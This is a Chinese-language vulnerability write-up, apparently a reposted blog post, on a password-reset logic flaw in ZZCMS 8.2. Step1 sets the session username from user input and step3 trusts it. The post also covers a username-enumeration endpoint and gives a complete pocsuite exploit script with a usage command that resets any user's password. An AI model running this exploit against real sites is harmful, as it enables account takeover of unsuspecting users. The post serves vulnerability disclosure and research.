ZZCMS8.2 用户密码重置漏洞

前言

一个找回密码处的逻辑漏洞, 还是有点意思的。

正文

首先是定位找回密码功能对应的代码位置,使用找回密码的功能,然后抓包即可

paste image

下面去 getpassword.php 里面看看, 首先包含了一些文件

paste image

conn.php 中,包含了 stopsqlin.php 会对参数进行过滤操作。

paste image

stopsqlin.php 中对参数的过滤

paste image

回到getpassword.php , 文件后面就开始进入 密码找回 功能的业务逻辑了。

找回密码功能分为3个部分

paste image

正常走一遍流程,期间用 burp 抓包

paste image
可以看到根据 action 来识别已经进行到了哪一步。以这个为线索去看代码,逻辑就非常清晰了。

我们直接来看看最后一步的代码

paste image

判断非常的简单, 只要

$action == "step3" && @$_SESSION['username'] != ''

接下来找 哪里修改了 $_SESSION['username'], 发现在 step1 的时候,用 POST 参数修改 $_SESSION['username']

paste image

于是利用思路

  • 首先进入 step1 , 设置 $_SESSION['username']为需要重置的用户名
  • 然后进入 step3 , 设置密码即可

同时该程序还有一个小问题,check_username_ajax.php  没有做 检查, 我们可以用它来枚举用户

paste image

paste image

pocsuite 写的 exp:

#!/usr/bin/python
# -*- coding: utf-8 -*-

import string
import random
import time
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
from pocsuite.lib.core.data import logger

class HackZZcms(POCBase):
    name = 'ZZcms ZZCMS8.2任意用户密码修改'
    vulID = '1'
    author = ['hac425']
    vulType = 'remote-pass-change'
    version = '1.0'    # default version: 1.0
    references = ['http://blog.hac425.top/2018/03/07/zzcms_8_2_rest_user_passwd.html']
    desc = '''ZZcms ZZCMS8.2任意用户密码修改'''

    vulDate = '***'
    createDate = '2018-03-07'
    updateDate = '2018-03-07'

    appName = 'ZZcms'
    appVersion = '8.2'
    appPowerLink = 'http://www.zzcms.net/'
    samples = ['']

    # 检查用户名是否存在
    def _check_username(self, username):
        target = self.url + "/ajax/check_username_ajax.php?id=" + username
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}

        cont = req.get(target, headers=headers).content
        if "用户名不存在" in cont:
            return False 
        return True

    # 使得 SESSION 中存放好我们需要改密码的 用户名, 同时返回 PHPSESSID
    def _get_session(self, url, username):
        target = url + "/one/getpassword.php"
        headers = {"Origin": url,
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
        data = {"username": username, "username2": "yes", "action": "step1",
            "yzm": "22", "yzm2": "yes", "submit": "\xe4\xb8\x8b\xe4\xb8\x80\xe6\xad\xa5"}

        res = req.post(target, headers=headers, data=data)
        return res.cookies.get("PHPSESSID")

    # 重置密码
    def _reset_passwd(self, url, password, phpsession):
        target = url + "/one/getpassword.php"
        cookies = {"PHPSESSID": phpsession}
        headers = {"Origin": url,  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
        data={"password": password, "password2": "yes", "action": "step3", "PwdConfirm": password, "PwdConfirm2": "yes", "submit": "\xe7\xa1\xae\xe5\xae\x9a"}
        res = req.post(target, headers=headers, cookies=cookies, data=data)
        # print res.content
        return res.content

    def _attack(self):
        """attack mode"""
        return self._verify()


    def _verify(self):
        """verify mode"""
        # print self.params
        result = {}
        username = self.params['username']
        password = self.params['password']
        
        if self._check_username(username):
            phpsession = self._get_session(self.url, username)
            if "重置密码成功" in self._reset_passwd(self.url, password, phpsession):
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url    
        else:
            logger.error("无该账号")
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail(result)
        return output


register(HackZZcms)

使用示例

pocsuite -r pocsuite_pocs/zzcms/zzcms_8_2_reset_any_user_passwd.py  -u http://hack.zzcms.top/ --extra-params "{'username': 'test', 'password':'xxxxdsg'}"

paste image

参考

http://getpass.cn/2018/03/06/zzcms-Any-user-password-changes-loopholes-code-points/

猜你喜欢

转载自www.cnblogs.com/hac425/p/9416653.html